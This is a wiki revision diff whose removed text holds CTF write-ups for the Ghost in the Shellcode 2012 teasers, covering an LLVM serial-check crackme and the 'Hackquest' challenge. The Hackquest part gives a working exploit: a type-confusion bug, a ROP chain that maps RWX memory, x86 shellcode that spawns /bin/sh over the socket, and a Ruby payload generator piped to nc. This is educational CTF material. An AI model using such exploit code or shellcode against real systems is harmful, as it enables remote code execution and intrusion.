Last modified on 22 October 2012, at 11:24

Difference between revisions of "Gits2012teaser"

(→‎#3 Hackquest)
 
(19 intermediate revisions by 3 users not shown)
Line 1: Line 1:
−
== #1 TelAviv ==
+
[[Category:CTF]]
 +
[[Image:gits-scores.png]]
  
−
What is the password? ([[Media:7139a4ea239dcac655f7c38ca6a77b61.bin|File]])<br>
+
= Ghost in the Shellcode 2012 Teasers writeups =
−
Hint: TeLaViv+ is a packet forensics challenge.
+
  
−
== #2 AL's Revenge ==
+
http://ghostintheshellcode.com/
  
−
* file 49dd327824d5afe9cdf931ea4b13719f.bin says xz compressed file -> xzcat > f
+
Thanks to the organizers for those pretty nice teasers!
−
* file f says LLVM bitcode -> llvm-dis > f.s (only works with LLVM 2.8, not with 3.0)
+
−
* analyze disassembly, extract C representation:
+
  
−
<pre>
+
The following writeups have been made by members of the FIXME team during between January 6th and January 8th.
−
int
+
−
VerifySerial(uint64_t name, uint64_t serial)
+
−
{
+
−
uint64_t a = 0x8000000000000000LL;
+
−
        uint64_t b = 0xa348fccd93aea5a7LL;
+
−
uint64_t result = 0;
+
  
−
/* high order bit set? */
+
* Challenge [[CTF/gits2012teaser/1-TelAviv|#1 TelAviv]] by [[User:Francois|Francois]]
−
if (name & a)
+
* Challenge [[CTF/gits2012teaser/2-ALsRevenge|#2 AL's Revenge]] by [[User:Corecode|Corecode]]
−
a ^= b;
+
* Challenge [[CTF/gits2012teaser/3-Hackquest|#3 Hackquest]] by [[User:Corecode|Corecode]]
−
 
+
−
if (serial & a)
+
−
serial ^= b;
+
−
 
+
−
while (serial != 0) {
+
−
if (serial & 1)
+
−
result ^= name;
+
−
 
+
−
serial >>= 1;
+
−
name <<= 1;
+
−
 
+
−
if (name & a)
+
−
name ^= b;
+
−
}H
+
−
 
+
−
return (result == 1);
+
−
}
+
−
</pre>
+
−
 
+
−
* it looks like a multiplication over a galois field, with the irreducible polynomial 0x1a348fccd93aea5a7 (note leading bit not in C), but it actually isn't, because the high bit gets checked after the shift, not before.
+
−
* lacking math knowledge and math package fu, decided to treat the problem as a linear equation system:
+
−
* The shifting and xoring produces a set of integers, call them name_i.  If the serial bit s_i is set, name_i gets added to the result.  So you can roughly say r = N * s, with r being the result vector, s the serial vector and N the names matrix.
+
−
* lacking math package fu, implement a gaussian elimination manually:
+
−
 
+
−
<pre>
+
−
class Numeric
+
−
  def bits64
+
−
    sprintf("%064b", self).each_char.map{|c| c == "0" ? 0 : 1}
+
−
  end
+
−
end
+
−
 
+
−
def names(name)
+
−
  p = 0xa348fccd93aea5a7
+
−
 
+
−
  if (name >> 63) & 1 == 1
+
−
    name ^= p
+
−
  end
+
−
 
+
−
  ([name] + 63.times.map do |i|
+
−
    name <<= 1
+
−
    if (name >> 63) & 1 == 1
+
−
      name ^= p
+
−
    end
+
−
    name
+
−
  end).map(&:bits64)
+
−
end
+
−
 
+
−
class Array
+
−
  def pivot
+
−
    res = []
+
−
    self[0].size.times.map do |i|
+
−
      self.size.times.map do |j|
+
−
        self[j][i]
+
−
      end
+
−
    end
+
−
  end
+
−
 
+
−
  def bitary_to_int
+
−
    self.join.to_i(2)
+
−
  end
+
−
end
+
−
 
+
−
class Eq < Array
+
−
  attr_accessor :res
+
−
 
+
−
  def initialize(ary, res)
+
−
    self.replace(ary)
+
−
    @res = res
+
−
  end
+
−
 
+
−
  def lead_zero
+
−
    self.take_while{|e| e == 0}
+
−
  end
+
−
 
+
−
  def first_pos
+
−
    self.index(1)
+
−
  end
+
−
 
+
−
  def subtract(o)
+
−
    Eq.new(self.zip(o).map{|aa, bb| aa ^ bb}, @res ^ o.res)
+
−
  end
+
−
end
+
−
 
+
−
class EqSys < Array
+
−
  def initialize(ary, res=nil)
+
−
    if !(Eq === ary[0]) && !ary.empty?
+
−
      ary = ary.zip(res).map{|a, r| Eq.new(a, r)}
+
−
    end
+
−
    self.replace(ary)
+
−
  end
+
−
 
+
−
  def sort_by_zeros
+
−
    self.sort do |a, b|
+
−
      a.lead_zero <=> b.lead_zero
+
−
    end
+
−
  end
+
−
 
+
−
  def subtract_eq(eq)
+
−
    pos = eq.first_pos
+
−
    return self if not pos
+
−
    EqSys.new(self.map{|e| e[pos] == 1 ? e.subtract(eq) : e})
+
−
  end
+
−
 
+
−
  def elim
+
−
    front = EqSys.new([])
+
−
    cur = nil
+
−
    rest = self.sort_by_zeros
+
−
    while not rest.empty?
+
−
      front << cur if cur
+
−
      cur = rest.shift
+
−
 
+
−
      front = front.subtract_eq(cur)
+
−
      rest = rest.subtract_eq(cur)
+
−
      rest = rest.sort_by_zeros
+
−
    end
+
−
    front << cur
+
−
 
+
−
    front
+
−
  end
+
−
 
+
−
  def to_s
+
−
    self.map{|e| e.map(&:to_s).join + " = #{e.res}"}.join("\n")
+
−
  end
+
−
end
+
−
 
+
−
require 'pp'
+
−
if __FILE__ == $0
+
−
  ns = names(0x6638623261336134)
+
−
 
+
−
  pv = ns.pivot
+
−
  es = EqSys.new(pv, 1.bits64)
+
−
 
+
−
  puts es.to_s
+
−
  puts
+
−
 
+
−
  r = es.elim
+
−
  puts r.to_s
+
−
 
+
−
  res = r.map{|e| e.res}.reverse
+
−
  puts res.bitary_to_int.to_s(16)
+
−
 
+
−
  s0 = r.pivot.last.reverse
+
−
  puts s0.bitary_to_int.to_s(16)
+
−
  puts (res.bitary_to_int^s0.bitary_to_int).to_s(16)
+
−
end
+
−
</pre>
+
−
 
+
−
== #3 Hackquest ==
+
−
 
+
−
* Remote system running some sort of text adventure.
+
−
* Hint dropped source code partially (extremely helpful)
+
−
* Hint from irc: look at the items
+
−
* struct ItemInfo contains a union:
+
−
 
+
−
<pre>
+
−
union
+
−
{
+
−
        void* data;
+
−
        LocationInfo* newLocation;
+
−
        struct ItemInfo* newItem;
+
−
        struct
+
−
        {
+
−
                ActionInfo* actionInfo;
+
−
                char* requiredTarget;
+
−
        } action;
+
−
        struct
+
−
        {
+
−
                char* name;
+
−
                struct ItemInfo* newItem;
+
−
        } namedUnwrap;
+
−
} info;
+
−
</pre>
+
−
 
+
−
* use() has an insufficient test:
+
−
 
+
−
<pre>
+
−
if ((item->type == ITEM_PERFORM_ACTION) || (item->type == ITEM_MOVE_TO_LOCATION) ||
+
−
    (item->type == ITEM_UNWRAP))
+
−
{
+
−
        sendMsg(s, "That item can't have a target.\n");
+
−
        ok = false;
+
−
}
+
−
else if (!strcasecmp(item->info.action.requiredTarget, target))
+
−
{
+
−
        sendMsg(s, item->message);
+
−
        item->info.action.actionInfo->func(s);
+
−
        showDesc = item->info.action.actionInfo->showDesc;
+
−
}
+
−
</pre>
+
−
 
+
−
* if we "use letter on $target", we can make it call ->func()
+
−
* .requiredTarget aliases with .newItem, which in turn contains a set of pointers, all static -> $target is known
+
−
* ->func aliases with .name
+
−
* the game asks us for our name, and stores this into a 31 byte static buffer
+
−
* whatever we use as name will be used as function address to be called -> we captured control flow
+
−
* ROP ensues:
+
−
* first gadged: pivot stack pointer to area we control (the 256 byte cmd buffer in handleConnection)
+
−
* then mmap an anonymous page RWX to a fixed location -> memory we can write to and run code from, we choose the offset
+
−
* our data is on the stack, which is likely on a random offset -> need to move data from stack buffer to page
+
−
* work around this problem by putting bootstrap shellcode into the static name buffer (see above)
+
−
* bootstrap code copies stack-relative buffer to our page, then transfers control:
+
−
 
+
−
<pre>
+
−
leal 0x41(%esp),%esi # calc source from stack offset
+
−
popl %edi # dest addr is already on stack
+
−
pushl $0x41 # dest offset so that we don't get overwritten
+
−
popl %ecx # duplicates as length
+
−
addl %ecx,%edi # add offset
+
−
push %edi # store dest for later
+
−
rep movsl # copy
+
−
popl %edi # retrieve old dest
+
−
jmp *%edi # jump there
+
−
</pre>
+
−
 
+
−
* remaining shell code takes socket fd from fixed stack offset and dup2()s to 0, 1, 2, then spawns /bin/sh:
+
−
 
+
−
<pre>
+
−
pushl %ecx # ecx was cleared by rep above, put 0 on stack
+
−
movl 0xAB(%esp),%ebx # get socket fd from stack offset
+
−
1:
+
−
pushl $0x3f # dup2 syscall number
+
−
popl %eax # into eax
+
−
int $0x80 # do syscall
+
−
inc %ecx # inc desc2
+
−
cmp $0x3,%cl # do for 0, 1, 2
+
−
jne 1b # repeat
+
−
 
+
−
popl %ecx # zero ecx = argv
+
−
mull %ecx # zero eax, edx = env
+
−
        pushl $0x0068732f # /sh\0
+
−
        pushl  $0x6e69622f # /bin
+
−
movl %esp,%ebx # string arg
+
−
movb $0xb,%al # execve syscall number
+
−
int $0x80 # magic!
+
−
</pre>
+
−
 
+
−
* cat key.txt
+
−
 
+
−
* all combined, use as (ruby h.rb; cat) | nc host 7331
+
−
 
+
−
<pre>
+
−
addr = 0x60606000              # our page address
+
−
src = 0x804c2a0                # from 0x80498f4
+
−
 
+
−
sockoffset = 0xbc
+
−
 
+
−
p = [
+
−
    # offset 0
+
−
    "use letter on ",
+
−
    # offset 14
+
−
    0x804a22e, 0x804a2bc, 0x804a2de, 0x804c20c, [0x02, 0x00],
+
−
    # offset 31
+
−
    " " * (0x44 - 32),          # fill
+
−
    # offset 0x44
+
−
    0x80486d4,          # C mmap
+
−
    0x8048db5,          # L add $0x1c,%esp | ret
+
−
    addr,              # (void *addr,
+
−
    4096,              #  size_t len,
+
−
    1 | 2 | 4,          #  int prot = PROT_READ | PROT_WRITE | PROT_EXEC,
+
−
    0x10 | 0x02 | 0x20, #  int flags = MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,
+
−
    0,                  #  int filedes,
+
−
    0,                  #  off_t off)
+
−
    0,                  # filler, also possibly offset
+
−
    0x80487d4,          # C memcpy
+
−
    addr,              # L addr = shellcode
+
−
    addr,              # (void *dest,
+
−
    src + 4,            #  const void *src,
+
−
    200,                #  size_t n).
+
−
   
+
−
    [
+
−
      0x51,                        # pushl  %ecx    # ecx was cleared by rep above, put 0 on stack
+
−
      0x8b, 0x9c, 0x24], sockoffset, # movl  XXX(%esp),%ebx  # get socket fd from stack offset
+
−
    [0x6a, 0x3f,                  # 1: pushl $0x3f # dup2 syscall number
+
−
      0x58,                        # popl  %eax    # into eax
+
−
      0xcd, 0x80,                  # int  $0x80    # do syscall
+
−
      0x41,                        # inc  %ecx    # inc desc2
+
−
      0x80, 0xf9, 0x03,            # cmp  $0x3,%cl # do for 0, 1, 2
+
−
      0x75, 0xf5,                  # jne  1b      # repeat
+
−
 
+
−
      0x59,      # popl  %ecx  # zero ecx = argv
+
−
      0xf7, 0xe1, # mull  %ecx  # zero eax, edx = env
+
−
      0x68, 0x2f, 0x73, 0x68, 0x00, # pushl  0x0068732f  # /sh\0
+
−
      0x68, 0x2f, 0x62, 0x69, 0x6e, # pushl  0x6e69622f  # /bin
+
−
      0x89, 0xe3, # movl  %esp,%ebx  # string arg
+
−
      0xb0, 0x0b, # movb  $0xb,%al  # execve syscall number
+
−
      0xcd, 0x80  # int $0x80        # magic!
+
−
    ]
+
−
    ]
+
−
 
+
−
shellcode = 0xc
+
−
 
+
−
# this lives at src
+
−
namelen = 20
+
−
name = [
+
−
        # stack pivot
+
−
        0x08049019,              # add $0x9c,%esp | ret
+
−
 
+
−
        # bootstrap shellcode
+
−
        [
+
−
        0x8d, 0x74, 0x24, shellcode, # leal XXX(%esp),%esi
+
−
        0x5f,                    # popl  %edi
+
−
        0x6a, namelen,          # pushl $XXX
+
−
        0x59,                    # popl  %ecx
+
−
        0x01, 0xcf,              # addl  %ecx,%edi
+
−
        0x57,                    # push  %edi
+
−
        0xf3, 0xa5,              # rep movsl
+
−
        0x5f,                    # popl  %edi
+
−
        0xff, 0xe7,              # jmp  *%edi
+
−
        ],
+
−
      ]
+
−
 
+
−
all = name +
+
−
  [
+
−
  "\n",
+
−
  "get can\n",
+
−
  "use can\n",
+
−
  "go south\n",
+
−
  "get letter\n",
+
−
  ] +
+
−
  p + ["\n"]
+
−
 
+
−
def collapse(a)
+
−
  a.map do |e|
+
−
    case e
+
−
    when Numeric
+
−
      [e].pack("V")
+
−
    when Array
+
−
      e.pack('C*')
+
−
    else
+
−
      e.to_s
+
−
    end
+
−
  end.join
+
−
end
+
−
 
+
−
if __FILE__ == $0
+
−
  cp = collapse(all)
+
−
  # puts cp.size
+
−
  print cp
+
−
end
+
−
</pre>
+

Latest revision as of 11:24, 22 October 2012

Gits-scores.png

Ghost in the Shellcode 2012 Teasers writeups

http://ghostintheshellcode.com/

Thanks to the organizers for those pretty nice teasers!

The following writeups have been made by members of the FIXME team during between January 6th and January 8th.